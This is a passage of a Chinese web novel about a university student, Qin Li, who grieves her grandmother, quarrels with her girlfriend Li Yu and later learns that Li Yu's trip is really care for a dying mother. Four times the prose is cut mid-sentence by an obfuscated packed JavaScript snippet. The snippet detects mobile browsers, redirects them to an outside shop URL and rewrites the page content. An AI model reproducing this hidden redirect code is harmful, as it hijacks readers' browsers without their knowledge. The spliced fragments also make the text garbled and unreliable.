到老家时已经天黑了。 奶奶没在医院。人生的最后时刻,她躺在床上,说不出话来,已经很虚弱了。看见秦离来,她努力想触碰,却没有力气,秦离忙凑过去,握住她的手。 “奶奶……” 奶奶无法说话,只是呼吸得更加急促。 秦离心脏像被狠狠抓紧般难受。她忍住涌上来的眼泪,拿起旁边的棉签,蘸上温水,一点点润湿奶奶干燥的嘴唇。 屋子里涌入了好多人。大家挤在隔壁屋子里,压低声音,好像在争什么。 秦离过去,听见姑姑们在说,是不是还是应该把奶奶送到医院去,不应该放弃治疗。 是爸爸最后下了决断,即使送去医院,也不过是多受几天折磨,还是给奶奶最后一份安宁吧。有任何指责和压力,他都一力承担。 秦离不知道爸爸的做法是对是错,也不知道奶奶最后一刻是否有怨他。 她只是感觉茫然,感到一股莫名的恐惧。 这是她第一次直面亲人的死亡,难过又不敢太难过,还害怕自己没有太难过。 她不知道该做什么,于是又回到奶奶屋子里,继续给她润嘴唇。 后来的一切都好像放黑白电影,灰蒙蒙的,连带着秦离的情绪也钝钝的,麻木地随着大家一起做该做的事。 一天后,奶奶没了气息。爸爸联系好了各种人,将奶奶的遗体搬回老家,让算命先生算了个吉利的时辰,准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370192|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入土为安。 秦离看着奶奶入馆,所有人都在守夜,烧了一夜的纸钱,灰烬被热浪和夜晚的冷风裹挟着,到处乱飞。 白天布了流水席,来来去去好多人,表情不一,吵闹得不行。 直到棺木入土,一切都结束了,踏上回南城的车上,秦离才好似回过神来。 爸爸拍了拍她的肩:“这两天也累着了吧,回家要不要先休息两天再去学校?” 秦离摇摇头,突然想起,紧张道:“妈妈没事吧?我先去看她。” “没事,她病不严重,只是有些反复。” 爸爸这么说着,还是带秦离去医院看妈妈了。 妈妈在打点滴,秦离也不知道她在输什么药水,只是看她精神还不错,心中稍安。 秦离有很多关心的话在嘴里,当着妈妈的面,却一句也说不出来,总觉得太肉麻了。 最后,依旧是妈妈拉着她说了很多话,问她在学校怎么样,学习怎么样,开不开心,但没有问她那个最敏感的话题。 秦离都是应着,乖乖回答妈妈问的所有问题。 这是她和长辈最熟悉的相处模式,让她心安。 至于恋爱和黎羽,秦离没敢再提这个话题,也庆幸妈妈没有提。 所有的勇气都在之前那一次争吵中消耗殆尽。 走之前,妈妈叫住了秦离:“勺勺……” 那时,秦离已经走到了门口了,回头,心里莫名紧张。 妈妈望了她半天,最后只道:“好好照顾自己。” “嗯,妈妈,你也要注意身体。” 妈妈露出欣慰的笑容,秦离心中有点哽。 第二天,爸爸开车送秦离去机场。两人都没怎么说话,气氛沉闷。 秦离有些受不住,于是打开手机无意识刷着。 从刚回来那天起,黎羽便给她发了不少消息询问,还打了电话过来。 她很担心她。 一开始,秦离实在没什么心情,没有接她的电话,消息回得很简略。 到后来,或许是不想打扰秦离,也可能是黎羽那边也忙起来了,她发来的消息变少了许多。 秦离知道这不好,知道自己应该更热情地去回应黎羽。 但她就是,提不起劲。 这种状态在她回学校后仍持续着。这期间,她没怎么给黎羽发消息,两人也没约好什么时候见面。 黎羽依旧会发消息关心她,但是这种关心变得很隐晦,或许是顾及她的情绪,给她留下缓冲的私人空间。 直到某天的一场文学沙龙,秦离凑巧去听了。 沙龙是讲英国文学的,主要是说浪漫主义的作品。主讲老师讲得很好,秦离听完,仿佛灵魂得到了净化,人也一下子清醒了。 她整理了情绪,翻着最近和黎羽的聊天记录,心中愧疚。 【阿羽,抱歉,我这阵子情绪实在是太差了,说什么做什么都提不起劲。你最近怎么样呀,还忙吗?】 黎羽的消息许久才过来:【知道你最近烦,现在没事就好呢。[摸头]我最近又要出去采风出差,等我回来。】 【好哦。】 秦离乖乖应着,等着,等着黎羽回来的那天。 63. Chapter 63 等待时间远比预想的长。 一开始说是一周,然后变成了十来天,再后来,黎羽说家里有事,要先回趟柳城。 秦离知道,她大概又是为她母亲的事回去的。 她不可避免地感到了丝厌倦,尽管这丝厌倦在产生的瞬间就被她压了回去,但仍在心中留下了痕迹。 她一边责怪自己不够体谅和共情黎羽,一边又止不住地想,她母亲对她都如此过分了,她不是也下定决心远离她呆在梦城了吗,怎么还老是赶回去。 反反复复,深陷泥潭无法自拔。 不过,秦离也明白,血缘关系大概就是如此难以割舍。终究是黎羽自己的家事,作为一个旁人,她也无法干涉吧。 只是心中始终烦躁,冥冥中有些不好的预感。 这样又等了两三天,黎羽连消息都发得很少了。 到周六时,蒸蒸给秦离发了消息,说自己有个外景要拍,让她帮忙后勤,过来一起玩。 初夏时刻,梦城已经开始燥热了,课程、生活,一大堆乱七八糟的烦心事。看着身边人都忙忙碌碌,秦离等着一个不知道什么时候会回来的人,暴躁得很,索性就应了蒸蒸的请求,坐了一个多小时的地铁跑去帮忙。 外景点是个巨大的废墟工厂,早就停止使用了,但基本框架还在,到处是灰色混泥土和裸露墙砖。绝大多数区域都一片漆黑,照不进阳光。高处平台还有许多挖空的大洞,从下往上看一览无遗,像是过去做过神秘实验的邪恶化学工厂。 这里是大家拍废墟的常驻地了,殷红的墙壁上还有各色无序的涂鸦和喷漆,看上去足够邪恶混乱。 超有氛围。 秦离喜欢这个地方。 蒸蒸是和其她三个基友一起来拍O魂四人团的,除了她们就是一个摄影,加包括秦离在内的两个后勤妹子。 今天不知怎么,还有两三个保安在门口看守,不让人进去。是经验丰富的摄影带大家抄小道,走隐蔽的侧门才混了进去。 好刺激。 为避免影响拍摄,秦离一早就将手机调了静音。 拍片是个辛苦活,干后勤也是。秦离一会忙着提东西,一会忙着喷水洒道具,累是累,但也让她无暇去思考那些烦闷的事。 等待的时候,她便和另外一个后勤妹子一起聊许多番和出片的事。 秦离已经有段时间没出片和好好追番了,刚好妹子和她的口味都很相似。这种遇到同好的纯粹快乐让她沉迷,也忽视了包里断断续续震动的手机。 今天拍摄整体很顺畅,结束后按惯例一群人去恰饭,选了家寿喜锅。 期间,秦离点开手机,看到有几十条消息,还有大眼、企鹅等各类社交软件上都有红点。 这也是她的常态了。她不习惯给小群开免打扰,所以总是有很多消息。她平时很习惯于快速回应这么多消息了,但今天实在不想去处理这些,便关掉没管,继续投入线下的快乐之中。 一个小时就能吃完的饭因为众人强烈的同好分享欲,硬生生变成了三个多小时。 吃完后,大家继续聊着,一路聊到了地铁站才恋恋不舍分开,终于结束了今天的快乐之旅。 秦离是上了地铁,才看见黎羽的电话的,看时间正是她和基友们聊得火热的时候打来的。 连打了两个。 对于要不要拨回去,秦离有些犹豫。 其实,最近她和黎羽已经很久没打过电话了。或许是因为某段时间的忙碌,总之她回过神来时,两人已经默契地不用长时间的语音占用对方的时间了。有什么事,发消息就行。 地铁在轨道上滑出刺耳的声音,秦离皱着眉,最终还是没有拨回去。 她打开微信,才看见黎羽的许多消息。 【小乖,起床了吗?】 【我十点的飞机回来,回来我们就去做项链,好不好?】 【我到了,你还在睡么?】 【没在学校?你室友说你去市区了。】 【……我等你回来。】 ……怎么是今天回来了…… 秦离刚刚纯粹的好心情瞬间就消失了,变得沉重压抑。她手指动了动,酝酿许久,才回消息:【啊啊啊啊啊!阿羽,今天基友出片——就你上次见过的蒸蒸,我来帮忙,期间一直忙着,都没看消息和电话。我现在刚上地铁,回来估计要十二点了。你要是困就先睡,我们明天去做项链也可以呀,不着急。】 发完,秦离松了口气,正准备靠着玻璃小眯一会,黎羽的电话进来了。 看着屏幕上跳动的头像,秦离的身体发软。她咽了咽口水,半晌才接通电话,声音有些干:“喂。” “……喂。”黎羽的声音很嘶哑,听上去像是很久没有好好休息了。 秦离本能有些心疼,张嘴却又不知道说什么,只能重复道:“我还有两个小时才到学校。” “嗯。”黎羽应着,只道,“我等你。” “……好哦。” 地铁到达下一站,又是刺啦的噪音,人群熙熙攘攘。两人通着电话,却一时都没有言语。 秦离动了动身体,有点难耐。这点动静仿佛被黎羽察觉,她那边说了什么,却被吵闹声掩盖着听不清。秦离干脆道:“我这边地铁上实在太吵了,听不清,我们发消息吧。” 黎羽似乎是应了,又或没应,电话最后断了。 她知道这样并不是最佳处理方式,但又不知道该怎么办。 挂了电话,秦离主动发消息过去:【工作的事忙完了吗?】 【嗯,这次还比较顺畅。】 黎羽依旧解释了很多项目的事,秦离听着,回应着,两人聊了一阵,倒是比打电话自在。 到最后,想到柳城,秦离还是忍不住,含蓄问出:【其她事情怎么样呢?】 【也都挺好的。】 黎羽或许知道她在问什么,但没多说,秦离也无法再追问下去了。 【还有多久到啊?】 秦离看了看时间:【我还没上六号线呢,估计光地铁就还要一个半小时。】 【还有这么久啊……】 今天的黎羽似乎格外黏人,秦离没意识到,自以为体贴道:【我回来真的很晚了,要是你困了的话就先睡,我们明天再碰面去做项链也可以呀。】 黎羽依旧很坚持:【没事,我等你。】 再后来,秦离在六号线上睡着了。她今天跑动了一天,实在太累,最后是被人喊醒的。 “同学,已经到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370193|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终点站了。” 乘务员不知道喊了多久,秦离猛地惊醒,才发现车厢灯已经暗下来,左右空荡荡,只剩她一人。 “抱歉!我马上离开!” 秦离抱着包道完歉冲出车厢,看时间已经十二点了,手机上还有黎羽的未读消息。 秦离解释:【阿羽,我坐过站了,现在直接打车回来。】 黎羽没有回消息。秦离想,她或许是睡着了,没再打扰她。 墨色的天空渐渐落下淅沥的小雨,在秦离发间积着许多小水珠,被霓虹灯照得分明。 打车的人很多,她好不容易才拦了辆,等在宿舍门口下车时,已经快一点了,整个人也疲惫不堪。 黎羽依旧没回消息,秦离便没多想,拖着沉重的步子,昏沉沉回到漆黑一片的宿舍,倒头就睡。 半夜,秦离是被连续的铃声吵醒的。 她身上难受,本来不想理会,关了好多次铃声。但那边一直锲而不舍,她被惹烦了,终于不情不愿地眯着眼睛睁开。 “谁啊……” 是黎羽。 秦离微皱眉,在又一次电话进来时,还是接通了:“阿羽,怎么……” 黎羽打断她,语气听着有点奇怪:“你还没回来吗?” “我……我已经回来了啊。” “你在哪里?为什么……为什么不过来?” 秦离叹气:“阿羽,已经凌晨了,我好困,有什么我们明天见面再说,好吗?” 黎羽还在问:“你回来了为什么不来找我?” 秦离头有点痛,眼皮又耷拉上了,迷迷糊糊着解释:“我给你发了消息,看你没回,以为你已经睡了。这么晚了,我们都先睡,有什么明天再说吧。” 黎羽好像听不懂她在说什么,还在重复着,语气也越来越冲:“我都说了在等你了,你回来为什么不来找我?你也厌倦了,要离开了吗……” “你在说什么啊……” 身上难受着,又听了这么一通话,秦离心里也有点火了。她正忍不住要回应,突然听见对面乒乒乓乓,接着是玻璃瓶摔碎的声音。 “阿羽!”秦离一下惊醒,这才后知后觉,黎羽说话的声音奇怪,就好像是喝了酒。 “阿羽,你在哪里?” 这时,黎羽反倒不说话了,电话被突然压掉。 秦离再打过去,对面暂时无法接通。 她这下完全没心思睡觉了。担心黎羽那边发生什么事,又自责自己不够关心对方,她硬顶着抽痛的额头爬起来,身上还穿着外出时的衣服。 下完梯子,头昏昏沉沉,但秦离顾不上,奔出去,只想先找到黎羽。 外面还在下雨,密密麻麻的雨点,很快淋湿了她的头发和外衣。 秦离身上很快变得冰冷,但她都没顾得上,先往店里跑去,想着如果那里找不到人,就只能去敲宿舍门了。 万幸,店门开着,黎羽确实在二楼。 秦离喘着气一路小跑,打开门,里面烟雾缭绕。 所有东西都变得乱七八糟,地上落着烟蒂,摆了好多酒瓶,还有两个被砸碎了,正是她在电话里听到的声音。 黎羽就躺在这片狼藉之中,用手臂遮着眼睛,不知昏醒。 64. Chapter 64 秦离头痛得不行,连带着眼睛一大片都痛,让她恨不得将那根带动的筋扯出来。 她按了按抽动的额头,硬撑着去拉黎羽:“阿羽,怎么躺在地上?先起来……” 黎羽身体很沉,被拉扯着半起身,慢慢睁开眼,努力识别着眼前人。 “小……小乖?” 秦离松了口气,将人半扶到床上坐着,语气尽可能和善:“怎么喝了这么多酒?” “小乖……” 黎羽眼神慢慢对焦,突然将秦离一把抱住,声音在她耳边放大:“我好想你……” 浓烈的酒气混杂着烟草味,有点难闻。 秦离不自觉皱眉,安抚着拍了拍黎羽的后背,语速有点快:“我也很想你。” 秦离不知道黎羽为什么会变成这个狼狈的样子。她现在又累又痛,实在没有精力去深究。她像哄孩子那样,手上微微用力,将人按倒在床上,拉过被子给黎羽盖上,嘴上继续安抚着:“好了,先睡觉,有什么我们明天再慢慢说哦。” 说完,她起身准备将空酒瓶带出来,回宿舍继续睡。 黎羽顺着她的力道,本来很乖,但见她要走,一把将人也拉到床上。她喝了酒,不知轻重,秦离的头撞到床头,只觉更痛了,心里的火气又再燃了起来。 黎羽抱着她,嘴里喃喃着:“你别走……” “黎羽。”秦离想发火,转头看见黎羽布满红血丝的眼睛和忧伤的神情,又将所有话都咽了回去。 她叹了口气,索性就着这个姿势躺下,拉过被子盖住两人,道:“我不走,跟你一起睡,这样好了吧?” 黎羽的身体终于不乱动了,秦离心道总算能好好睡觉了,这时,又听见她嘴上继续念着。 “你为什么不跟我说话……” 疼痛的感觉愈发强烈,秦离咽下咳嗽的冲动,只觉胃里翻滚得厉害。她深吸了两口,闭着眼解释:“现在真的已经很晚了,我身体很难受,也不想说话,我们先睡觉,行不行。” 她语气里的不耐烦已经遮掩不住了。 黎羽也感受到了,将秦离的手抓得更紧了,声音也逐渐变大:“你不想跟我说话?我今天等了一整天,我昏天暗地地忙,忙完事马上飞回来,就是想能快点见到你。你为什么不等我,不看我的消息和电话?你厌倦了吗……” 黎羽说了很长一段话,快得不似喝醉了酒。 秦离心里那股气终究是难以消化。她睁开眼,语气也变得尖锐:“到底是我厌倦了还是你厌倦了?平时多少次都是我在等你,是你总在忙,总脱不开身来找我。我不知道你今天会回来,我也有自己的生活,想跟朋友出去玩,不可能一直站在原地等着你回来!” 不知道是哪个词戳中了黎羽的心肺,她腾地一下坐起来,头顶的吊灯在她脸上打下大片阴影。 “秦离。你是在怪我吗?怪我平时太忙,忙着工作,没有时间好好陪你。我也说了,我……” 这一刻,她表情冰冷,好像清醒了些,但眼神仍失着焦。 “我知道,我知道!”秦离的声音拔高,“你说了很多遍了!我知道!你在为未来打拼,你是步入社会的成熟的人了,而我不成熟、幼稚,天天只知道缠着你玩乐,不体谅人,行了吧!” 她的眼睛涨痛得像要爆出来了,呕吐的感觉也愈发强烈。 “我没有这样说。秦离,你不要任性,胡思乱想。” “对的了,我还任性,胡思乱想,是吧。你心里就是这么想的,都是你在迁就我,在忍让我,是吧!” “我没有。” “你有!” “我真的没有。” “你就是有!” “……” “你要这么想,我也没有办法……”黎羽揉了揉额头,语气放缓,透着疲意,“小乖,我们别闹了。我真的很想你,我们好好说说话,好吗?” 然而,刚刚一番话已经引发了秦离心底所有的情绪。她的眼泪止不住地往外流,喉咙痛,头痛,眼睛痛,身体哪里都好痛…… 她呜咽着,将声音从喉咙里挤出来:“是我不想好好说话吗?到底是谁不好好说话,喝了这么多酒,大半夜疯狂打电话一定要把人喊过来?” 看见秦离的眼泪,黎羽心上被刺痛,身体轻轻颤了颤。 “抱歉。” 她终于恢复了平时的模样,想要像以往那样去安抚秦离,却被她躲开。 “又是这样,又变成了是我在任性,然后你忍耐着道歉安抚我,委屈自己迁就我,是吗?” 黎羽皱着眉没说话,只是伸出手想将秦离抱进怀里。 秦离再次避开。 两人一进一退,最后僵持在原地不动了。 黎羽伸出的手终于收回,握成了拳头,低头不语,只是胸膛起伏的幅度越来越大。 秦离没有注意到的她的情绪隐忍,自顾自将心中憋了许久的话全部说了出来,泪水依旧流淌着。 “我知道你工作很辛苦啊!所以我平时都不敢打扰你,不给你发那些没意义的消息,不跟你说我的那些烦心事,生怕耽误你工作。” 黎羽嘴唇翕动,但依旧没出声。 秦离还在继续:“我当然知道,我的这点小事,跟你比起来算不得什么,但我已经很努力让自己成熟一点了。” “我报了L大学姐开的考研班,现在已经在准备专业课了。工作的消息也在看,也在准备简历,还看了些公关和快消公司的实习招聘,想着如果考研不顺利的话,毕业就在梦城工作也可以,这样我们生活的压力也小些。” “身边朋友都在自己的道路上拼搏,大家都忙忙碌碌。我也急啊,我也好想马上步入人生正规,可以很肯定地做点什么,成为成熟的大人。我也很急啊……” “我妈现在身体还时好时坏,我不知道她的病什么时候才能彻底好起来。还有我爸,最近打电话听见他的声音也好疲惫。我觉得我真的好无能,看着你们忙碌痛苦难受,却什么事都做不了……” “但就是这样,我还会忍不住偶尔逃避,去做一点喜欢的事情,不想那么多现实痛苦的事情。我真的好差劲……” 说完这些,秦离捂着脸,放声痛哭。 黎羽终于将她搂进怀里,但仍然不言语。秦离抓着她的衣襟,紧紧拥抱,看不见她的表情。 “阿羽……我好难过……” “……抱歉……” “……抱歉……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370194|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎羽身体一直没有停止颤抖,只是不断道歉着。她将秦离搂得很紧,像要嵌入自己的身体,眼神已完全清明,透露着痛苦。 两颗紧贴的心都在剧烈跳动着,却不同频。 秦离哭了很久,哭到已经开始分神想着都没有眼泪能流了。过程中,黎羽始终抱着她,轻拍着她的背,但她的视线落在了惨白的墙角,眼神有点空。 那里有一只蜘蛛从网上垂下来,挂在一根蛛丝上,缩成一团。 好小。 它轻轻荡着,好努力想爬上去。 未关紧的窗户外吹来一阵风,蜘蛛抖动着,从蛛丝上掉了下来,落在布满灰尘的墙角。 不知生死。 她好可怜。 秦离的头仍然很痛,但似乎变得可以忍受了。 经历这么一遭,她也没什么睡意了,慢慢止住了泪水,从黎羽怀里出来,擦了擦斑驳的泪痕。她没那么难过了,反过来又开始考虑黎羽的心情。 “我之后出去玩都提前跟你说,你也不用专门等我。现在我们都忙,只要有时间就可以呆在一起,等之后没那么忙就好了。” “……嗯。”黎羽应着,牵着她的手没松开,“是我的错,我……失控了,没事,你正常安排你的活动,自己开心最重要。” 秦离不喜欢这种说法,显得两个人好生疏。但刚刚两人才因为这件事吵了一架,她不想再揪着这个不放,把气氛搞僵。 于是,她故意用着轻松的语气问道:“今天怎么喝了这么多酒,是工作上有烦心事?还是太想我了呀?” 黎羽张着嘴,喉头滚动着。 她一只手背在身后,死死抠着床单。她的心脏跳得很快,有股冲动呼之欲出,但在看见秦离有些僵硬的笑容和红肿的眼睛时,又将那一刻的直白渴望又全部吞了回去。 秦离没有注意到这一切。 “你能不能等……” “什么?” 黎羽的话近乎咽在嘴里,含混着,秦离听不清。 那一点点些微的勇气也消失殆尽。 最后,黎羽只是在嘴角牵起个笑容,道:“没什么,我就是太累了,而且这次出差实在太久了,我真的很想你,很想很想。” 说到最后,她的声音也变得很轻,轻得像片羽毛,下一刻就要被风吹走了。 秦离心里本能不安,抓住黎羽的手臂,张嘴却不知道要说什么。 “你这次回柳城怎么样?” 她大脑一片浑噩,慌乱间反而选了个最不想提的话题。 黎羽也愣住了,但没回避这个话题,只是言辞闪烁:“还好,主要是回去看看我妈,她还在住院。” “这样哦……” 秦离难耐地动了动身体,觉得太阳穴又开始抽痛了。 黎羽握着她的手,将人揽进怀里。 秦离缩在她的怀里,半昏半醒。 黎羽忍不住又点了支烟,抽了一口,愣神着。香烟在指尖架着,直到燃尽,火燎到了肌肤,刺痛让她回过神来。 “小乖……” “嗯?” “我最近可能要出一个很长的差,等我回来,我们就住在一起吧,就在云林。” 65. Chapter 65 又是出差啊…… 秦离已经对这两个字感到厌烦。她在黎羽怀里缩成一团,只是问道:“要去多久呢?” “可能一个月吧。” “这么久啊……” “嗯……” 秦离心里好像有个黑洞,吸入所有情绪,让她提不起劲。 她又问:“要去哪里?” 黎羽愣了下才道:“好些城市,北方基本要跑个遍。” 沉默在房间里蔓延,窗外的光线晃动着,将布满灰尘的玻璃照得一清二楚。 最后,秦离也只是应着:“知道了,等……等你回来吧。” 等她回来再说,还是等她回来就同居,秦离没有说得很明白,黎羽也没有再问。 关掉灯,漆黑的房间里,两人和衣躺下,像过往每一次那样拥抱着入睡。 秦离闭上眼,依旧能感受到身旁的另一道呼吸,久久的,和她一样不平稳。 但她没有睁眼。 后来,秦离不知道什么时候睡着了,再睁眼,是被头痛给闹醒的。 她发现两人的姿势不知道什么时候变了。她面向墙壁,身体像虾样蜷缩成一团,黎羽挂在床沿上。 她们背对背,之间仿佛隔了条长河。 黎羽仍在睡着,只是睡得不太安稳,眉头紧蹙。 秦离坐起来,觉得头昏脑胀,天旋地转,喉咙紧缩,胃里抽搐,无声干呕了几下。 呕吐的感觉愈发强烈,她扶着墙下床,轻手轻脚挪到洗漱间,关上门后立刻蹲在地上开始吐。 胃里不断翻滚,昨天吃的东西没消化的,全部吐了出来,还带着食物的雏形,糊成一片,看得人恶心,让她吐得更厉害。 吐着吐着,她的眼泪不知什么时候流出来了,不断滴着。 她也不知道自己为什么要哭,只是止不住地流泪,边哭边吐,直到最后胃里一点东西都不剩,只剩下黄水和粘稠的或许是胃酸的液体。 不知道过去多久,秦离才捂着抽痛的胃站起来,弯着腰。 洗漱间里弥漫着难闻的呕吐物的味道。她按下冲水键,水流带去所有污秽。 漱了口,又随意洗把脸,秦离瞥见镜中的憔悴模样,连自己都不想多看。她低下头,用手接着清水发呆。 这时,她突然注意到,手腕上的菩提不见了——她和黎羽一起买的菩提,两人一人一串。她一直戴在手上,连洗澡的时候都不曾摘下。 什么时候掉的?昨天晚上吃饭的时候都还在……是落在宿舍,跑来的路上,还是就在房间里? 她握着手腕,不断摩挲着。心里念着,身体却没有动,甚至连一丝动弹的欲望都没有。 外面,黎羽在敲门:“小乖?” 秦离身体一颤,转头确定所有狼狈痕迹都已经清楚干净了,才去开门。 黎羽还没完全清醒,睡眼惺忪:“怎么这么早就起来了?” 秦离条件反射牵起笑容:“醒了就起来了。” 黎羽自然而然靠近,凑过去想亲亲她,她本能侧脸,吻落在了脸颊上。 气氛僵住了,还是秦离主动去拉黎羽的手,牵着轻轻摇了摇,撒娇道:“才刚起来,我还没刷牙呢。” 黎羽捏了捏秦离的脸,也牵起了笑容:“好了,先洗漱,我们去吃饭吧。” “好哦。” 勉强吃了些东西,秦离和黎羽分别,说要先回宿舍洗澡换身衣服。 早上的宿舍楼下已经陆续有些人了。注意到路人偶尔的目光,秦离才意识到自己身上的螺狮粉味道或许太明显,也太难闻了。她闻了闻身上,自己也觉得难堪,低着头快步走回了宿舍。 原本想要找找菩提的念头,被忘记了。 黎羽的离开在五天后。她有了个难得的假期,可以和秦离好好呆在一起。反而是秦离还要上课,不能时刻和她一起。 秦离开了五天的酒店,没有课的时候,就和黎羽呆在那里。 两人没有做////爱,只是依偎在床头,放着一部又一部电影,边吃东西边看。 黎羽也想过要不要一起出去玩,但秦离说,两人呆在一起就好,不用去外面折腾。黎羽也确实很疲累,没有力气出去跑动,也就同意了。 五天时间过得很快,虽然到最后,秦离满脑子都被各种电影剧情塞满。 离开那天,黎羽拖了个很大的箱子。秦离觉得她像是把大学四年的东西全部装进去,就要一去不复返了。 她为这样的联想而发笑,摇了摇头。 “记得多想我,多给我发消息。” 秦离抱着黎羽,语气很平静,像是对着一个远行的友人。 “好。”黎羽回抱,“你要好好吃饭,好好照顾自己。” “嗯,好哦。” 机场里人来人往,广播一直在播报各种公告。 秦离埋在黎羽肩上,久违地闻见她身上的草木香,让她想到了盛夏球场,那个穿着白色球服的耀眼身影。 她鼻头发酸,突然很舍不得,很舍不得黎羽。 “你也是,好好……照顾自己。” 时间到了,黎羽进去安检口。她走几步便要回一次头,朝秦离挥手。 秦离也笑着朝她挥手。 她们就像这里无数要分别的人群一样普通。 直到已经完全看不见黎羽的身影了,秦离仍站在原地,举着手,脸上的肌肉还拉扯着发酸。 她的失落在机场里随处可见,并不特别,没有引起任何人的注意。 这里尽是离别。 两人分别的第一周,发了很多消息,比前阵子都要多。 或许是记得两人争吵那晚说的话,黎羽主动的时候变多了,会问秦离在做什么,看见了什么有趣的东西。 她发消息的时间变得很奇怪,有时候是早上五六点,有时候又是深夜三四点,好像随时都醒着。 秦离最近懒洋洋的不想动弹,所有的意志力都留给了上考研课,全靠线下课程硬拉着她往前走。其她时候,她就只想躺在床上,看些简单的剧或者番,连游戏都不想打,也不想跟人说话。 和黎羽发消息也变成了一件很辛苦的事。 她什么都没做,也没看见任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370195|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有趣的东西,只是躺着,手机屏幕里的画面就这样滑过,没在脑里留下一点痕迹。 于是,找聊天话题变成了一件绞尽脑汁的事情。 黎羽偶尔会发一点风景照,傍晚的红霞、路边的野猫、水里的小鱼,还有偶尔露出一点肢体的她。 都是小景。 秦离将每张图都存下来了,放在专门的相册里,在深夜时刻偶尔会点开,看了又看。 这样高频的聊天没有持续太久。或许是黎羽感受到了秦离的疲倦,也或许是她又变得忙碌,消息逐渐变少。 秦离知道这种相处模式不好,但她真的提不起劲来做什么。每天光是从床上爬起来,穿好衣服洗漱完,就已经耗费了她全部的力气。 好累,人生真的好累。 有时候,坐在那里或者走在路上,她就突然无缘无故想落泪,然后找了个角落蹲在地上哭。 要说有什么很悲伤很痛苦的事吗,似乎也没有,但那种阴暗的情绪就一直在心脏上蛰伏着,时不时蔓延到全身。 她也讨厌这样的自己,原地踏步,自暴自弃,但她已经很努力,很努力想往前走了。 但是,好难啊…… 朋友们也发现了她的不对劲,李清韵还拉着她吃了几次饭,说些轻松的话题逗她笑。次数多了,秦离实在是累,不太乐意出来,朋友们也只能让她好好休息,慢慢来。 而且,大三下学期,大家都太忙了,忙着奔向人生不同的道路,没有更多精力去顾及其他人。秦离也更不愿意拿自己的事去麻烦别人,甚至对着黎羽,对着妈妈爸爸,她也说不出口。 自己这点没有挫折的无病呻吟,算得了什么…… 有时候,秦离觉得自己像是被抛弃了,被所有人抛弃。 消息变少后,她没有主动向黎羽发去太多信息,只是发了很多朋友圈,很多絮叨着的似是而非的心里话,仅黎羽可见。 但黎羽没有点赞评论。 她都没看见。 五月下旬,两人的联系变得更少了。一天晚上,秦离打开微信,看见黎羽的聊天框在很下面,才后知后觉,上一次聊天已经是三天前了。 她打开对话框,看着光标闪烁了半天,却不知道该说什么,最后只能熄屏,将自己埋进被子里,缩成小小的一团。 第二天,秦离去店里吃螺狮粉。店里人很少,来的时候没有看见老板。厨师跟她很熟了,做了碗给她端去。她坐在角落里,正好被柜台的侧面遮住。 她加了很多很多辣椒,吃得很慢,辣出了眼泪花。 “小羽她妈那边情况怎么样了?” 有人边说话边走进来,秦离听出来,是何章远的声音。 另外一个声音是何旭:“不太好,已经是晚期了,听小羽说最多还剩一个月。” “她把人接回家去了是吧。哎,也是,人生的最后时刻,没必要在医院耗着。” “……” 秦离大脑一片空白,半天没反应过来他们说的话是什么意思。 黎羽……不是出差去了吗…… 她妈妈,要死了? 66. Chapter 66 何章远和何旭讲了几句,只提到黎羽现在在家照顾病重的母亲,医院的事上何章远出了些力,很快两人转向其它话题。 秦离抓着筷子,愣在那里。 粉已经冷了。 “咦,不吃了吗?” 厨师大姐出来,看见秦离没动,问她。 何章远这才注意到店里有人,绕过柜台,发现是秦离,笑着跟她打招呼:“秦离,你在啊?怎么坐在角落里不说话。” 何旭察觉到她表情不太对,拉了拉何章远的袖子。 何章远对此一无所知:“怎么了,拉我干嘛。” 秦离条件反射挂起笑容,语气轻松道:“没什么,随便找了个座位,那不是老板你们光顾着聊天了,没注意我。” 说到聊天,何章远想起刚才的话题,拍了拍她的肩,安慰道:“最近小羽家里事多,你也忙,都不容易啊。有什么需要帮忙的找我们,我俩好歹多吃了几年饭,总能出点主意的。” “好哦。” 